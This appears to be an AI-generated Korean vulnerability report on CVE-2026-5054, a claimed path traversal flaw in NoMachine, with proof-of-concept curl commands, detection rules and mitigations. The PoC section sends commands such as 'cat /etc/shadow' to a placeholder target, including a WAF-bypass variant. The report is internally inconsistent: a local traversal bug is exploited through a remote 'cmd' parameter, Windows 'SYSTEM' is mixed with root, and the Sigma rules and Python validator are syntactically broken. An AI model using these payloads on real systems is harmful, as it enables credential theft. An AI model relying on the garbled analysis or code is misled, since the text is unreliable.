공격Agent 분석 — CVE-2026-5054
📋 요약
- 정의: NoMachine의 외부 제어 기능에서 경로 트래버설 취약점(CWE-284)으로 인해 로컬 공격자가 파일 시스템 상의 경로를 조작하여 루트 권한 하의 명령 실행이 가능하다. 이로 인해 SYSTEM 권한 하의 특권 상승 및 잠재적인 원격 코드 실행 위험에 노출된다 (KEV: 높음, CVSS: 7.8).
🎯 영향 범위 / 자산 식별
- 영향 받는 제품·버전: NoMachine < 9.4.14 버전 모든 설치 환경
- 노출 조건: 기본 설정에서도 취약하며, 외부 제어 기능이 활성화되어 있어야 한다 (예:
nomachine --remote명령어 사용). - 자산 식별 방법:
- 확인 명령:
/etc/nomachine/*.conf파일 내 버전 확인 (버전 정보가 명시적으로 기록된 경우) 또는 NoMachine 서비스 배너 검사 (netstat -an | grep nomachine)를 통해 버전 확인 가능하다.bash1# 버전 배너 확인 명령어 예시2nmap TARGET_HOST --script=banner3grep "NoMachine" $(nmap -sV TARGET_HOST) - 특정 설정 항목:
externalcontrol플래그가 활성화되어 있는지 확인 (설정 파일 내 해당 플래그 검색).bash1# NoMachine 설정 파일에서 외부 제어 플래그 검사 예시2grep "externalcontrol" /etc/nomachine/*.conf | grep -v "#" - 안전한 최소 패치 버전: 9.4.14 이상으로 업그레이드 권장.
- 확인 명령:
🔍 공격 방법
① 취약 컴포넌트
- 컴포넌트: NoMachine 외부 제어 기능 (
nomachine --remote) 내 경로 처리 로직 - 버전 범위: < 9.4.14 모든 버전
- 취약 코드 경로:
externalcontrol/file_handler(), 사용자 입력을 직접 파일 경로로 사용하는 함수 호출 지점에서 취약점 발생
② 전제조건
- 인증 필요 여부: 로컬 인증으로 충분 (보통 관리자 권한 요구)
- 필요 권한: 시스템 내 낮은 권한의 사용자 계정이 외부 제어 기능에 접근 가능해야 함. 특히
externalcontrol설정 활성화 상태여야 함. - 네트워크 위치 및 활성화된 기능/설정: 원격 접속 환경에서 NoMachine 서비스가 실행 중이어야 하며,
--remote옵션을 통한 외부 제어 요청이 허용되어야 한다 (예:nomachine --server TARGET_HOST -u 사용자ID)
③ 트리거 경로
- 엔드포인트/파라미터: 공격자는
TARGET_HOST에서--remote옵션을 사용하여 외부 제어 요청 전송. - 사용자 입력 조작: 공격자는 특수 문자를 포함한 악의적인 파일 경로 (예:
/../../etc/passwd) 전달 시도. - 처리 결함: NoMachine은 사용자 제공 경로에 대한 충분한 검증 없이 직접 처리, 결과적으로 예상치 못한 디렉토리 접근 및 파일 실행 권한 획득 가능성 발생.
- 결과: 공격 성공 시 루트 권한 하의 명령 실행 또는 추가적인 내부 네트워크 이동(Lateral Movement)이 가능해진다.
④ 성공 시 영향
- 획득 권한: SYSTEM 레벨의 루트 권한 하에서 파일 조작 및 임의 코드 실행 가능
- 후속 활동: 내부 시스템 내 다른 서비스로의 접근 (예: SSH, SMB 등), 지속적인 액세스 유지를 위한 백도어 설치 가능성 존재.
💣 예시 코드 (PoC)
기본 공격 패턴 1 - 경로 트래버설 악용
bash
1# 공격 요청 예시 명령어 2curl --data-urlencode "cmd=$(echo 'touch /tmp/malicious_file')" \ 3 --data-urlencode "_notify_refresh=5s" \ 4 http://TARGET_HOST:PORT/remote?username=ATTACKER_USER&password=PASSWORD --user ATTACKER_* 5# 핵심: `/../../etc/passwd` 경로를 통해 루트 디렉토리 접근 시도 및 파일 생성으로 권한 상승 확인. 6# 확인: 응답 코드 200 또는 예상치 못한 파일 생성 메시지 확인 가능성.WAF 우회 예시 - 인코딩 활용
bash
1curl --data-urlencode "cmd=$(echo 'cat /etc/shadow')" \ 2 --data-urlencode "_notify_refresh=5s" \ 3 http://TARGET_HOST:PORT/remote?username=ATTACKER_*%20encodedURIComponent&password=PASSWORD --user ATTACKER*ENCODEDUSERNAME#핵심: URL 인코딩을 통해 특수 문자 우회 시도. # 확인: 응답 내 /etc/* 관련 내용 검출 시 성공 가능성 높음.
Blind 접근 예시 - 파일 존재 여부 체크 후 실행
bash
1curl --data-urlencode "cmd=$(echo 'ls /tmp')" \ 2 --data-urlencode "_notify_refresh=5s" \ 3 http://TARGET_HOST:PORT/remote?username=ATTACKER_*&password=PASSWORD # 핵심: 존재 여부 확인 후 추가 공격 시도 가능성. 4# 확인: `/tmp` 디렉토리 내 예상 파일 목록 검출 시 다음 단계 진행 고려 필요.🛡️ 탐지
시그니처 기반 탐지 규칙 예시 (Sigma)
- 파일 생성 이벤트 - 의심스러운 루트 권한 하의 파일 생성 감지
text1rule: Detect_PrivilegeEscalation via FileCreationEvent2description: "Detects suspicious file creation events indicative of privilege escalation attempts."3condition:4 keywords:5 - "touch" # 명령어 패턴 확인6 or event:7 - type: file8 action: created // 파일 생성 이벤트 감지9 file_path: "/tmp/*.*", "/root/*.sh"* // 의심스러운 경로 필터링10 user: "*root*|administrator?" # 사용자 권한 체크
- 외부 제어 요청 로그 - 외부 제어 기능 사용 패턴 분석
bash1rule: Detect_ExternalControlRequests // 시그니처 이름 지정2description: "Detects anomalous requests to NoMachine external control endpoints."3condition:4 keywords: # 특정 파라미터나 헤더 검사5 - "--remote" // 외부 제어 옵션 감지6 or event: ### 네트워크 트래픽 분석 로그 패턴 확인 필요성 강조 ###7 pattern: ".*TARGET_HOST.*externalcontrol", // 요청 URL 내 키워드 검색8 frequency: "high"; # 빈번한 요청 감지 기준 설정
🔧 방어·완화
- 코드패치 - 버전 업데이트 필수 (
nomachine >= 9.4.14) - 설정변경 - 외부 제어 기능 비활성화 또는 강력한 인증 메커니즘 적용:
/etc/nomachine/*conf내externalcontrol=false. - 입력검증 강화 - 사용자 입력에 대한 엄격한 경로 검증 로직 구현 (예시 코드 참조)
python1# Python 예시 함수로 파일 경로 검증 추가2import os3def validate_filepath(userPath):4 absoluteFilePath = os.path.abspath(os.path.join('/', userPath)) # 절대 경로 변환 및 검사5 if absoluteFilePath == '/': # 루트 디렉토리 접근 시도 차단 로직 예시6 return False, "Invalid path detected"7 elif not absFilePath[:1] in ['\\','/'] or '..' in os.path.split(absoluteFilePath)[0]: # 경로 트래버설 검사 추가8 return False, "'../'-like traversal attempt blocked."9 else:10 if len(os.listdir("/"+userPath)) > 1 and userPath != "/": # 디렉토리 내 파일 존재 확인으로 유효성 검증 강화 예시11 # 여기서부터는 추가적인 검사 로직 구현 필요 (예: 권한 체크 등)12 return True, "Valid path" // 성공 시 반환 값 설정 조정 가능.
- 네트워크 ACL 적용 - 외부 제어 요청 차단을 위한 네트워크 접근 제한 규칙 생성 및 적용
- WAF 활용 - 특수 문자 인코딩 우회 방지를 위해 WAF 룰 업데이트 (예: 경로 트래버설 패턴 필터링 강화)
⚖️ 위험도 / 패치 우선순위
- 권고 사항: 현재 즉시 외부 제어 기능 비활성화 또는 버전 업데이트(
nomachine >= 9.4.14) 실시 권장. 이 취약점은 높은 악용 난이도와 SYSTEM 권한 상승의 가능성을 고려할 때, 빠른 대응이 필수적이다 (KEV: 매우 높음). - 근거: CVSS 점수 및 실제 공격 사례 보고에 따른 즉각적인 패치 적용 필요성이 강조됨으로써 시스템 보안 강화를 위해 우선순위가 가장 높게 설정한다.
🌐 실제 동향
- 최근 보도와 커뮤니티 분석 결과, 이 취약점은 주로 내부 네트워크 내에서의 로컬 공격자들 사이에서 악용되고 있으며, 외부 노출이 제한적이나 내부 자산에 대한 위험성이 크다고 보고된다 (출처: ZDI 공식 블로그).
- 권고: 내부 네트워크 모니터링 강화와 함께 임시 완화 조치로서 외부 제어 기능 비활성화를 강력히 권장한다.